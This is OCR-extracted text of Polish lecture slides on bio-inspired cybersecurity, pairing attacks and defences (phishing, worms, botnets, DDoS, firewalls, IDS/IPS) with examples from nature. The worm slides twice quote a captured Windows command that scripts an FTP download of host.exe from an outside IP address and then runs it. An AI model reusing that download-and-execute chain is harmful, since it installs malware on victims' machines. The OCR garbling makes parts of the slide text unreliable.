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Inspiracja Swiatem roslin i zwierzat (1/2)

" Od lat obserwacja srodowiska naturalnego stanowi inspiracje dla

wynalazcéw i naukowcow
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Inspiracja Swiatem roslin i zwierzat (2/2)

= Opracowywane sg zaawansowane techniki obliczeniowe oraz
technologie sieciowe inspirowane zjawiskami znanymi z natury
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Inspiracja Swiatem roslin i zwierzat (2/2)

= Opracowywane sg zaawansowane techniki obliczeniowe oraz
technologie sieciowe inspirowane zjawiskami znanymi z natury

Genetic
Optimization -
e —— z —

Teza 1: Istota wiekszosci znanych atakdw i mechanizmoéw obrony w
q sieci Internet w przyrodzie spotykana jest juz od dawna

Algorytmy genetyczie—— :
O ——
Teza 2: Zarowno w naturze jak i w Internecie obserwujemy ewolucje

technik ofensywnych oraz odpowiadajgcych im technik defensywnych
(wyscig zbrojen)
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Etapy typowego ataku sieciowego w Internecie

Etap I: Etap Il: Etap lll:
Instalacja Formowanie Przeprowadzenie
ztosliwego sieci botnet ataku

oprogramowania

w-}
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eapt | || Epn | [ Epm | ZtOSliwe oprogramowanie (malware)
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Etap | Etap Il Etap Ill

y | E- Przyktad strony phisingowej

6 wovowmbankpl

Q| Porozmawiajmy i | Pomoc iinformacja
[ %
° z
Bank - @ Logowanie >
maksimum korzy$ci i wygoda | esewedk Najczgscie] pasaukinaris B Demo systemu > Bezpieczeristwo >
czesciej poszukiwane

Konta Oszczednosci Karty Kredyty Inwestycje Ubezpieczenia Telefonia mBank dla firm
o

Istota ataku: zwabic i przekonac potencjalng ofiare, aby
uwierzyta, ze ,podrobka” jest oryginatem

Logowanie >
Demo system:

u> Bezpieczenstwo >

BRNRYERYS Nowsweak | Najczesciej poszukiwane @

PROMOCIA

Wyprébuj Pakiet Classic
do eKONTA za 0 zt

Konta Oszczednosci Karty Kredyty Inwestycje Ubezpieczenia Telefonia mBank dla firm

Golimy prowizje
na 7orn

Zenimy korzysci

Nota prawna

vwew.rnbank.pl;

PROMOCIA

Wyprébuj Pakiet Classic
do eKONTA za 0 zi

Zenimy korzysci




Etap | Etap I Etap Ill

- Phising w naturze

= Zabnica (Lophius piscatorius) nazywana réwniez ,, diabtem morskim” —
rodzaj ryby gtebinowej wystepujacej na wybrzezach Europy i pétnocno-
zachodniej Afryki

= Jej jedyng widoczng czescig ciata jest wijacy sie jak robak miesisty
wyrostek na koncu dtugiej wedki wystajacej ze szczytu glowy

= Kiedy podptywa zdobycz, zabnica kusi j3 wabikiem w poblize swojej
zamaskowanej paszczy
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Etap | Etap I Etap Ill

y - Ztosliwe oprogramowanie: robak

= Robak (worm) - samo propagujacy sie kod, ktory do
rozprzestrzeniania sie wykorzystuje siec Internet

Cechy:
* Nie potrzebuje interwencji uzytkownika, aby przenosic¢ sie pomiedzy
infekowanymi systemami
= Wykorzystuje exploit — dedykowany program, specjalnie
spreparowang sesja komunikacyjne, itp. majace na celu wykonanie
nieautoryzowanego kodu i zwiekszenie uprawnien atakujgcego poprzez
wykorzystanie podatnosci, btedu

= Czesto prowadzi do wytgczenia operujacych mechanizmow
bezpieczenstwa (np. systemdéw antywirusowych, czy firewalli)

7 Follow TCP Stream

Stream Content

Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

I WWINDOWS System32=echo open 95.220.195.12 27939 > o&echo user 1 1 == o &echo get
host.exe >> o &echo gquit >> o &ftp -n -5:0 &del /F /Q o &host.exe

downloading ...Command not foundCommand not foundC:\WINDOWSYSystem3Z=host.exe
)Command not foundC:\WINDOWSSystem32:|
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Etap | Etap I Etap Ill

- /tosliwe oprogramowanie: robak

" Robak (worm) - samo propagujacy sie kod, ktéry do
rozprzestrzeniania sie wykorzystuje siec Internet

Cechy:

= niedzy

| Cecha robaka: zablokowanie operujgcych
mechanizmow zabezpieczen

knie
poprzez

wykorzystanie podatnosci, btedu
= Czesto prowadzi do wytgczenia operujacych mechanizmow
bezpieczenstwa (np. systemdéw antywirusowych, czy firewalli)

7 Follow TCP Stream

Stream Content

Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

I WWINDOWS System32=echo open 95.220.195.12 27939 > o&echo user 1 1 == o &echo get
host.exe >> o &echo gquit >> o &ftp -n -5:0 &del /F /Q o &host.exe

downloading ...Command not foundCommand not foundC:\WINDOWSYSystem3Z=host.exe
)Command not foundC:\WINDOWSSystem32:|

11/36  , YNN




apt ||| Eapn | [ o | Celowe wytgczanie mechanizmow
AN obronnych w naturze

= Bez wzgledu na strategie polowania wszystkie pajaki wykorzystujg
jad, zeby unieruchomic ofiare

= Posiadajg one masywne szczekoczutki, dwucztonowe, zakonczone
ruchomym pazurem, do ktorego uchodzi przewod jadowy

= Podczas ataku pajaki wbijajg szczekoczutki w ofiare i wprowadzajg
jad, ktory jg paralizuje uniemozliwiajgc obrone oraz ucieczke
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Etap |

Etap lll

J——
R

Podstawowa architektura i dziatanie
sieci botnet

= Botnet jest siecig maszyn-zombie, czyli maszyn bedacych pod
kontrolg atakujgcego (bez wiedzy ich uzytkownikow)

o
Botherderq\

(cracker)

=
Kanat C&C Botmasterv\am: Cc&C

Bot

—

Rekrutacja
I Maszyny
typu
1| [C_]]zombie

=

——=— —

Bot
Bot
Rekrutacja
Rekrutacja I
Maszyny
I Maszyny typu
typu C_1] [C_J]| zombie
1] [[_1] zombie ——=r—=
— — ] ]
1] L = [
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eapn | POAstawowa architektura i dziatanie
== sieci botnet

Etap |

= Botnet jest siecig maszyn-zombie, czyli maszyn bedacych pod
kontrolg atakujgcego (bez wiedzy ich uzytkownikow)

Botherderé\
(cracker) ﬂﬂ

Istota zagrozenia: Przejecie kontroli nad czyms i
wykorzystanie do realizacji okreslonego celu

I I DOl I I
I - ' —
Rekrutacja : Rekrutacja
I Maszyny Rekrutacja I Maszyny
typu I Maszyny typu
1] [C_—J]zombie typu 1| [C_J| zombie
| = | = ' = —
@_ 1] | zombie ==
== —— C ] [ 1
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Etap | Etap lll

Sieci botnet w naturze

B =
= =& i;*
et

= Gatunek grzybow z rodziny Ophiocordycipitaceae zwany ,grzybem
zombie” - potrzebuje do rozwoju odpowiedniej temperatury i
wilgotnosci oraz odlegtosci od gleby

= Zarodniki grzyba atakujg mrowke i rozrastajac sie zmieniajg sposob, w
jaki reaguje ona na feromony

= Zainfekowana ofiara (mrowka zombie) szuka idealnych warunkow dla
rozwoju pasozyta wchodzi na drzewo i na odpowiedniej wysokosci wbija
sie zuwaczka w lis¢ i obumiera

= Grzyb przerasta ciato mrowki z tytu jej gtowy wypuszczajgc szyputke,
ktora, pekajac, rozsiewa zarodniki, ktore infekujg kolejne mrowki

= Na drzewach mozna spotkac¢ wrecz ,,mrowcze cmentarzyska” - nawet 20
do 30 mrowek na metr kwadratowy
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Etap | Etap lll

Sieci botnet — ukryta komunikacja

J——
R

" Coraz czesciej do komunikacji w kanale C&C (Command & Control)
sieci botnet wykorzystywane sg techniki steganograficzne

" Techniki ukrywania informacji stosuje sie, aby zamaskowac
przesytane komendy pomiedzy ,,zarzgdcg” sieci botnet i maszynami
zombie

= Ostatnie przyktady: robak Duqu oraz Alureon

\ =
- F

16/36 | YNN



Etap | Etap lll

Sieci botnet — ukryta komunikacja

N=! A=
R

" Coraz czesciej do komunikacji w kanale C&C (Command & Control)
sieci botnet wykorzystywane sg techniki steganograficzne

= Techniki ukrywania informacji stosuje sie, aby zamaskowac

prze |zynami
szoml  Istota: zapewnienie mozliwosci prowadzenia
= Ost: ukrytej komunikacji
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Etap |

Etap lll

[
= =& “
TG

Ukryta komunikacja w naturze

= Wyraki filipinskie (Tarsius syrichta) — rodzina drapieznych ssakéw
naczelnych z rodziny matpiatek zyjgcych na Filipinach

= Sg w stanie ustysze¢ dzwieki o czestotliwosci nawet do 91 kHz i
generowac dzwieki o czestotliwosci 70 kHz (najwyzsze wartosci
wsrod ssakoéw)

= Pozwala im to na prowadzenie ultrasoniczej, ukrytej komunikacji,
dzieki ktorej sg w stanie informowac sie o zblizajgcych sie
drapieznikach, czy potencjalnych zdobyczach




Etap lll

Ataki Rozproszonej Odmowy Ustugi

=1 A=
g

" DDoS (Distributed Denial of Service) - uniemozliwienie przez
atakujgcych korzystania z okreslonej ustugi prawowitym uzytkownikom

= Koncentruje sie przede wszystkim na:

=  Woyczerpaniu zasobdéw tgcznosci sieciowej np. pasma lub urzadzen
sieciowych np. buforéw, CPU

: Przesytanie celowo danych w nieprawidtowej postaci np. zbyt duzych
rozmiarow pakietow, nachodzgcych na siebie
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Etap lll

Ataki Rozproszonej Odmowy Ustugi

= &
Y
R

" DDoS (Distributed Denial of Service) - uniemozliwienie przez
atakujgcych korzystania z okreslonej ustugi prawowitym uzytkownikom

= Ko

Istota ataku: prawowity uzytkownik nie ma 1dzen

| mozliwosci skorzystania z okreslonego zasobu  dusvch

FTOZITTarow pdariclow, TdCrnouZqLlyLlll Tld SICDIC
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Etap i Ataki DDoS w naturze

P
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= Opornik tatkowaty, kudzu (Pueraria montana) — pngcze z rodziny
bobowatych wystepujgce naturalnie w Azji potudniowo-
wschodniej oraz na wyspach Oceanii

= Zostat zawleczony do Ameryki Pétnocnej i Srodkowej, Afryki
potudniowej, Azji centralnej i na Ukraine, gdzie jest uporczywym,
bardzo inwazyjnym chwastem (przyrost do 30 cm dziennie)

= Kudzu wspina sie agresywnie na drzewa i krzewy powodujgac ich
Zznaczne zacienienie, a w konsekwencji obumieranie

vy
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Mechanizmy obronne |: systemy firewall

= Systemy firewall - ,,sciana” bezpieczenstwa pomiedzy
wewnetrzng, zaufang siecig i zewnetrzng, potencjalnie
niebezpieczna

’r:l/ 5 ’r:‘/ E ’r:‘/ 5

- — = - — = - — =

Sie¢ wewnetrzna

-

Sie¢ Zewnetrzna

23/36 | I\N




Mechanizmy obronne |: systemy firewall

= Systemy firewall - ,,sciana” bezpieczenstwa pomiedzy
wewnetrzng, zaufang siecig i zewnetrzng, potencjalnie
niepp=ei=m==n

Istota dziatania: odzielenie sie od zagrozen swiata
zewnetrznego

Sie¢ wewnetrzna

-

Sie¢ Zewnetrzna
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Systemy firewall w naturze

= Skorupy, gniazda, nory, mrowiska...




Mechanizmy obronne II: systemy IDS/IPS

= Systemy wykrywania i zapobiegania witamaniom — systemy
zwiekszajgce bezpieczenstwo sieci poprzez wykrywanie (IDS)
i/lub préby przeciwdziatania atakom (IPS) najlepiej w czasie
rzeczywistym

Wynik: Reakcja na zdarzenia systemowe

Jednostki
e A > reagujqce _ H
Wynik: zdarzenia (R-boxes) IPS prewenCJa
systemowe na V.
wysokim poziomieg Wynik: sktadowanie zdarzen
g Analizatory i
“> Zdarzeﬁ ............................................. g ...................................... > Bazy danyCh
(A-boxes) (D-boxes)
~ N
Generatory
____________________________________________ zdarzen
Sy?é?&igg)Ch Wynik: zdarzenia systemowe
A na niskim poziomie
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Zrédto zdarzen zewnetrznych

IDS - detekcja




Mechanizmy obronne II: systemy IDS/IPS

= Systemy wykrywania i zapobiegania wtamaniom — systemy
zwiekszajgce bezpieczenstwo sieci poprzez wykrywanie (IDS)
|/|ub,nxn'bu_n.aacm¢dznaian;a_:inknm_m_nadnw;|e

'2€C4  Istota dziatania: umiejetnoéé detekcji intruzéw

oraz reakcja na ich obecnosc

VVYITITN. LUC/[ILCIIIQE | A m/ |
systemowe na ~
wysokim poziomie: Wynik: sktadowanie zdarzen

T Analizatory

> zdarzen | | S >| Bazy danych

(A-boxes) : (D-boxes)
A § A
Generatory
____________________________________________ zdarzen
ST Wynik: zdarzenia systemowe
(E-boxes) S S
A na niskim poziomie

7\

Zrédlo zdarzen zewnetrznych

IDS - detekcja
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Systemy IDS/IPS w naturze

= Larwy motyla z potnocnoamerykanskiego gatunku Drepana arcuata
zerujg na brzozach oraz olchach i za pomocg jedwabistej wydzieliny
buduja na lisciu ,,namiot” chronigc sie w ten sposob przed
drapieznikamii ztymi warunkami atmosferycznymi

= Ggsienice na podstawie drgan liscia powstatych w wyniku zblizania
sie intruza (innej larwy tego gatunku chetnej na schronienie lub
drapieznika) sg w stanie go rozpoznac (czes¢ detekujqgca - IDS) nawet
w warunkach ztej pogody (deszcz, wiatr)

" Nastepnie larwa probuje odstraszy¢ intruza poprzez skrobanie w lis¢
ostatnig parg odndzy lub bebnienie gtowa (czes¢ prewencyjna - IPS) —
metoda skuteczna w przypadku 80% drapieznikow!




Podsumowanie: ewolucyjny wyscig zbrojen

= Zapewnianie bezpieczenstwa w swiecie roslin i zwierzat jak i w Internecie
wykazuje wiele podobienstw zarowno pod wzgledem istoty technik
defensywnych jak i ofensywnych

= Obserwujemy swoisty ewolucyjny wyscig zbrojen: pojawia sie
nowa/ulepszona technika ataku, na ktorg nastepnie odpowiedzig jest
dostosowanie/doskonalenie technik obronnych (inne okno czasowe)
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Podsumowanie: ewolucyjny wyscig zbrojen

= Zapewnianie bezpieczenstwa w swiecie roslin i zwierzat jak i w Internecie
wykazuje wiele podobienstw zarowno pod wzgledem istoty technik
defensywnych jak i ofensywnych

= Obserwujemy swoisty ewolucyjny wyscig zbrojen: pojawia sie
nowa/ulepszona technika ataku, na ktorg nastepnie odpowiedzig jest
dostosowanie/doskonalenie technik obronnych (inne okno czasowe)

Przykiad ze Swiata Przykiad z dziedziny
roslin i zwierzat bezpieczenstwa sieciowego

/'Trojan Zeus/Zbot *\

oo

Systemy antywirusowe

Rozkolce j Krab
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Podsumowanie: ewolucyjny wyscig zbrojen

= Zapewnianie bezpieczenstwa w swiecie roslin i zwierzat jak i w Internecie
wykazuje wiele podobienstw zarowno pod wzgledem istoty technik
defensywnych jak i ofensywnych

" Obse '
NOW: Inspiracje dotyczgce nowych technik Lot

dost¢ atakow/sposobdéw obrony w Swiecie wirtualnym |e)
warto czerpac ze Swiata roslin i zwierzat

Przyktad ze swiata Przykiad z dziedziny
roslin i zwierzat bezpieczenstwa sieciowego

/"Trojan Zeus/Zbot ‘\

e

Systemy antywirusowe
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Cechy warunkujace bezpieczenstwo w przyrodzie

Adaptacyjnosé

reaktywnosc¢ heterogenicznos¢ decentralizacja nadmiarowos¢ kooperatywnosc¢

(EEE——— L T —




Regin jako przyktad wykorzystania cech warunkujgcych
,sukces”

= Regin — kon trojanski, ktory pozostawat niewykryty od 2008 roku, zyskat
rozgtos w listopadzie 2014

* Heterogenicznosc¢ — kod sktadajacy sie z wielu modutdéw, praktycznie
kazda z ofiar otrzymywata inny zestaw modutow

= Decentralizacja — ofiary w ramach pojedynczej sieci lokalnej formuja
sie¢ P2P, aby ograniczy¢ ryzyko wykrycia kanatu C&C (redukcja liczby
potgczen)

= Nadmiarowos¢ — wielopoziomowa struktura typu ,,matrioszka”, kolejne

poziomy zaszyfrowane wewngtrz poprzednikow; wiele kanatéw ukrytej
komunikacji z serwerami C&C

= Kooperacja — poziom skomplikowania porownywalny do Stuxneta,
Duqu, itp. wskazuje na kooperacje wielu autorow przy tworzeniu Regina

= Reaktywnosc¢ — (?)
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Dziatania defensywne wykorzystujgce w.w. cechy

= Reaktywnos¢ — w odpowiedzi na utrzymujacy sie atak (Aurora) ze
zrodet chinskich, w 2009 roku podjeto kroki zmierzajgce do zazegnania
kryzysu

= Kooperacja — z inicjatywy Google i NSA stworzono narzedzie do
wykrywania i reagowania na ataki, Google posiadato niezbedng
infrastrukture, NSA doswiadczenie

= Heterogenicznos¢ — stworzono dwa narzedzia: Turmoil identyfikuje
niepozadany ruch lub oznaki grozgcego ataku, Turbine zajmuje sie
decydowaniem czy ruch nalezy wstrzymac czy przepuscic, posiada
rowniez mozliwosc (reaktywnosc!) uruchomienia ataku odwetowego

= Decentralizacja — efektywnos¢ dziatania zaimplementowanego systemu
jest warunkowana przez globalny zasieg infrastruktury Google i liczne,
rozproszone punkty monitorowania

* Nadmiarowosc¢ — wyrdzniono instytucje stanowigce tzw. infrastrukture
krytyczng i w ramach danych klas instytucji przeprowadza sie regularne
briefingi dotyczgce aktualnego statusu ,,cyberwojny”
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Bio-Inspired Cybersecurity Project

http://cybersecurity.bio

E. Rzeszutko, W. Mazurczyk -

W. Mazurczyk, E. Rzeszutko - - IEEE
IT Professional, January/February 2015
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